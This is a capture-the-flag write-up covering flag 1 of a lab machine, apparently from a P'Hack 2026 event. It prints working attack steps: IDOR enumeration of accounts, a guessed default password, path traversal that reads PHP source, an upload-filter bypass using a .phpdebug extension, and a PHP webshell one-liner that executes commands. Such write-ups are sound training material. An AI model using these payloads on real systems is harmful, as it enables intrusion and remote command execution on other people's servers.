Three-flag machine at P’Hack 2026. This covers flag 1.
Foothold
Landing on the website we get a Request Access button. Inside is a small note about how to get an account, and a path that immediately stands out:
/api/account-card.php?uid=1
Classic IDOR. The uid parameter is user-controlled and maps straight to an account record. We enumerate upward and pull two interesting candidates:
{
"uid": 3,
"username": "ops.viewer",
"role": "auditor",
"state": "active",
"created_at": "2024-06-18 11:42:00"
}
{
"uid": 15,
"username": "ryan.clark",
"role": "auditor",
"state": "active",
"created_at": "2026-01-13 11:21:00"
}
Back on the request access page, we check the HTML source:
<!-- Dafaut Temp Password : PanSec@55-YYYY -->
A hardcoded default password template left in a comment. YYYY is clearly a year placeholder. We try both auditor accounts with PanSec@55-2026 and PanSec@55-2024, nothing. The logic here is that temp passwords apply to newly created accounts. We look for the most recently created user, which sits right after ryan.clark:
{
"uid": 16,
"username": "nora.lee",
"role": "partner",
"state": "active",
"created_at": "2026-03-18 09:41:00"
}
nora.lee:PanSec@55-2026
It works. We’re in.
Path traversal to source disclosure
Once logged in we land on a document reader. The URL gives it away immediately:
http://pentest.amsi.local:60010/viewer.php?page=article1.txt
The page parameter looks like a raw file include. The app also has an Asset Upload page but PHP is blocked. Since the API endpoint we found earlier was a PHP file, we try reading it through the viewer:
http://pentest.amsi.local:60010/viewer.php?page=../api/account-card.php
It dumps the source. Inside we find:
require dirname(__DIR__) . '/includes/bootstrap.php';
We follow that path the same way. bootstrap.php doesn’t have much, but it does reveal the real path to the upload handler:
$links[] = sprintf('<a href="/upload.php"%s>Asset Upload</a>', ...);
So we read upload.php next:
http://pentest.amsi.local:60010/viewer.php?page=../upload.php
Right there in the source:
$allowedLegacyCompat = ['phpdebug'];
The upload filter blocks .php but leaves a legacy extension bypass open. .phpdebug files execute as PHP.
Webshell & flag
We upload a standard one-liner as payload.phpdebug:
<?php echo passthru($_GET['cmd']); ?>
It lands in the upload directory. We hit it with cmd=id to confirm execution, then enumerate the filesystem:
cmd=ls ..
Several folders. One stands out: data. Inside:
flag_wwwdata.txt
cmd=cat ../data/flag_wwwdata.txt
Flag 1 down.